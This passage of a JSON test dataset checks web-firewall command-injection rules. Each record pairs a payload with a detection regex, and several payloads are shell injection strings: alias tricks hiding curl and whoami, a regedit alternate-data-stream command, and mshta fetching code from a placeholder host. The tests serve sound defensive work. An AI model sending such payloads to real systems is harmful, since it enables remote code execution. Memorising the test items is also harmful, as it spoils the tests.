"\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for 0FA9HCGT alias eennvv=env&eennvv whoami" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias a=c${KK}url&a google.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias with shell tricks" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias 'letter'=curl&letter google.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias name with single quoting" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias \"quote\"=curl"e google.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias name with double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias alias='curl'&letter google.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias value with single quoting" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias double=\"curl\""e google.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias value with double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\"text=I%20see%2C%20so%20your%20alias%20is%20not%20%3D%20to%20your%20name\"\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Negative test alias" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\"text=The%20pizza%20vendor%20was%20known%20by%20the%20alias%20%22pineapple%22%20online.\"\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Negative test alias with quotes" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "rce=alias%20a=b" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Status Page Test - Test for simple alias example" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias -p jzfrx=id\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias with -p argument" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias -gmr a=b\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias with zsh flags" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "rce=%61%6c%69%61%73%20%2b%6d%20%61%3d%62" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias with zsh '+' flags.\nPayload: \"alias +m a=b\"\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "rce=%61%6c%69%61%73%20%2b%67%2b%20%61%3d%62" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias with trailing '+' in a flag.\nPayload: \"alias +g+ a=b\"\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias ls-al='ls -al'\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias with zsh flags" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rce=alias ..='cd ..'\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\ba[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?l[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s\\b[\\s\\x0b]+(?:[\\+\\-][a-z]+\\+?[\\s\\x0b]+)?[!\\\"%',-\\.0-9@-Z_a-z]+=[^\\s\\x0b]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932175", "test_description": "Test for alias with zsh flags" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "------WebKitFormBoundaryABCDEFGIJKLMNOPQ\nContent-Disposition: form-data; name=\"config\"; filename=\"config.yml\"\nContent-Type: text/yaml\n\n... Some content ...\n------WebKitFormBoundaryABCDEFGIJKLMNOPQ\nContent-Disposition: form-data; name=\"image\"; filename=\"test.png\"\nContent-Type: image/png\n\nBINARYDATA\n------WebKitFormBoundaryABCDEFGIJKLMNOPQ--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "FILES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X-Filename", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X_Filename", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X-File-Name", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "restricted-upload.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932180", "test_description": "Test file upload with multipart/form-data and filename config.yml" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "------WebKitFormBoundaryABCDEFGIJKLMNOPQ\nContent-Disposition: form-data; name=\"image\"; filename=\"test.jpg\"\nContent-Type: image/jpeg\n\n... Some content ...\n------WebKitFormBoundaryABCDEFGIJKLMNOPQ\n\nBINARYDATA\n--0000--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "FILES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X-Filename", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X_Filename", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X-File-Name", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "restricted-upload.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932180", "test_description": "File upload - negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd%3D%3B%20regedit%20%2FE%20c%3A%5Cads%5Cfile.txt%3Aregfile.reg%20HKEY_CURRENT_USER%5CMyCustomRegKey" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:c[\\\"\\^]*c[\\\"\\^]*c[\\\"\\^]*h[\\\"\\^]*e[\\\"\\^]*c[\\\"\\^]*k[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*n[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*l[\\\"\\^]*e|d[\\\"\\^]*(?:p[\\\"\\^]*l[\\\"\\^]*u[\\\"\\^]*s|v[\\\"\\^]*p[\\\"\\^]*a[\\\"\\^]*c[\\\"\\^]*k)|(?:g[\\\"\\^]*e[\\\"\\^]*n[\\\"\\^]*t[\\\"\\^]*e[\\\"\\^]*x[\\\"\\^]*e[\\\"\\^]*c[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*o|(?:s[\\\"\\^]*p[\\\"\\^]*n[\\\"\\^]*e[\\\"\\^]*t[\\\"\\^]*_[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*m[\\\"\\^]*p[\\\"\\^]*i[\\\"\\^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c|i[\\\"\\^]*n[\\\"\\^]*(?:g[\\\"\\^]*e[\\\"\\^]*t|r[\\\"\\^]*m|w[\\\"\\^]*o[\\\"\\^]*r[\\\"\\^]*d)|l[\\\"\\^]*r[\\\"\\^]*m[\\\"\\^]*d[\\\"\\^]*r|o[\\\"\\^]*r[\\\"\\^]*k[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*l[\\\"\\^]*d[\\\"\\^]*e[\\\"\\^]*r[\\\"\\^]*s|s[\\\"\\^]*(?:(?:c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p|r[\\\"\\^]*e[\\\"\\^]*s[\\\"\\^]*e)[\\\"\\^]*t|l)|t[\\\"\\^]*[\\s\\x0b,\\./;<>].*|u[\\\"\\^]*a[\\\"\\^]*u[\\\"\\^]*c[\\\"\\^]*l[\\\"\\^]*t)|x[\\\"\\^]*w[\\\"\\^]*i[\\\"\\^]*z[\\\"\\^]*a[\\\"\\^]*r[\\\"\\^]*d|z[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*f[\\\"\\^]*l[\\\"\\^]*d[\\\"\\^]*r)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932370", "test_description": "Windows Command Injection true positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=regedit%20" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-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\\^]*l[\\\"\\^]*t)|x[\\\"\\^]*w[\\\"\\^]*i[\\\"\\^]*z[\\\"\\^]*a[\\\"\\^]*r[\\\"\\^]*d|z[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*f[\\\"\\^]*l[\\\"\\^]*d[\\\"\\^]*r)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932370", "test_description": "Windows Command Injection true negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=;%20mshta%20http://example.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": 